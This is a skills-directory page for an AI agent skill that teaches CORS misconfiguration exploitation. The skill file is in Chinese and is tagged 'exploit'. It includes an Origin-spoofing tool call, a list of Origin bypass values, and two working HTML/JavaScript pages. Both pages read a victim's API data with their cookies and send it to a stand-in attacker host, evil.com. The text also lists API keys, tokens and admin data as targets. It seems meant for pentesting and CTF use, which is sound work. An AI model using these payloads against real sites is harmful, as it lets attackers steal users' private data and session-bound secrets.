Skip to content
Back to skills

Cors Misconfiguration

ASecurity

CORS 跨域配置错误检测与利用。当目标 API 返回 Access-Control-Allow-Origin 响应头、需要跨域访问敏感数据、或发现 Origin 头被反射回响应中时使用。可导致用户敏感数据窃取

  • 2 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added October 17, 2026
developmentgoapi

Works with

  • api

Security analysis

A100/100

Pro scans all 3 files and shows the line behind each finding

Scanned October 17, 2026

npx -y skills add NetVar1337/agent-skill-canon --skill cors-misconfiguration --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Cors Misconfiguration?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Cors Misconfiguration
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/netvar1337-cors-misconfiguration/badge)](https://www.skillsdirectory.com/skills/netvar1337-cors-misconfiguration)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: cors-misconfiguration
description: "CORS 跨域配置错误检测与利用。当目标 API 返回 Access-Control-Allow-Origin 响应头、需要跨域访问敏感数据、或发现 Origin 头被反射回响应中时使用。可导致用户敏感数据窃取"
metadata:
  tags: "cors,cross-origin,跨域,access-control,origin,credentials,preflight"
  category: "exploit"
---

# CORS 配置错误方法论

CORS(Cross-Origin Resource Sharing)错误配置允许恶意网站跨域读取目标站点的敏感数据。关键在于 `Access-Control-Allow-Origin` 和 `Access-Control-Allow-Credentials` 两个响应头。

## Phase 1: 检测 CORS 配置

### 1.1 发送带 Origin 的请求
```
http_request url="http://target/api/userinfo" headers={"Origin":"https://evil.com"}
```

检查响应头:
- `Access-Control-Allow-Origin: https://evil.com` → 反射任意 Origin(**危险**)
- `Access-Control-Allow-Origin: *` → 通配符(通常无法携带 Cookie)
- `Access-Control-Allow-Credentials: true` → 允许携带 Cookie(**和反射 Origin 组合 = 严重漏洞**)
- 无 ACAO 头 → CORS 正确拒绝

### 1.2 测试 Origin 校验绕过

```
# 空 Origin
Origin: null

# 子域名
Origin: https://evil.target.com
Origin: https://target.com.evil.com

# 前缀/后缀匹配
Origin: https://attackertarget.com
Origin: https://target.com.attacker.com

# 特殊协议
Origin: http://target.com  (HTTPS 站点接受 HTTP Origin)
```

### 1.3 危险组合判断

| Allow-Origin | Allow-Credentials | 风险等级 |
|-------------|-------------------|----------|
| 反射任意 Origin | true | **严重** — 可跨域窃取用户数据 |
| `null` | true | **高** — iframe sandbox 可设置 null origin |
| `*` | false | **低** — 不能携带 Cookie,通常只暴露公开数据 |
| 固定白名单 | true | 安全(除非白名单中有你控制的域名)|

## Phase 2: 利用 CORS 错误配置

### 2.1 反射 Origin + Credentials(最常见)
目标返回:
```
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
```

构造窃取页面:
```html
<script>
fetch('http://target/api/userinfo', {credentials: 'include'})
  .then(r => r.json())
  .then(data => {
    // 发送到攻击者服务器
    fetch('http://evil.com/log?data=' + JSON.stringify(data));
  });
</script>
```

### 2.2 null Origin 利用
如果 `Access-Control-Allow-Origin: null`,用 iframe sandbox 触发:
```html
<iframe sandbox="allow-scripts allow-forms" srcdoc="
  <script>
    fetch('http://target/api/userinfo', {credentials: 'include'})
      .then(r => r.text())
      .then(d => fetch('http://evil.com/log?d=' + encodeURIComponent(d)));
  </script>
"></iframe>
```

## Phase 3: 数据获取

CORS 利用成功后,可以读取的敏感数据:
- 用户个人信息(`/api/profile`, `/api/userinfo`)
- API 密钥和 Token
- 内部 API 数据
- 管理员面板数据

**CTF 中**:Flag 通常在需要管理员 Cookie 才能访问的 API 中。

## 注意事项
- CORS 漏洞需要受害者访问攻击者页面才能触发(类似 CSRF/XSS)
- 纯 `Access-Control-Allow-Origin: *` 不允许 `credentials: include`,风险较低
- 检查 preflight(OPTIONS)请求的处理——有些框架只在 GET 上设置 CORS,不在 OPTIONS 上

Files in this skill

  • SKILL.md3.2 KB
  • evals/evals.json2.3 KB
  • evals/recall.json1.1 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.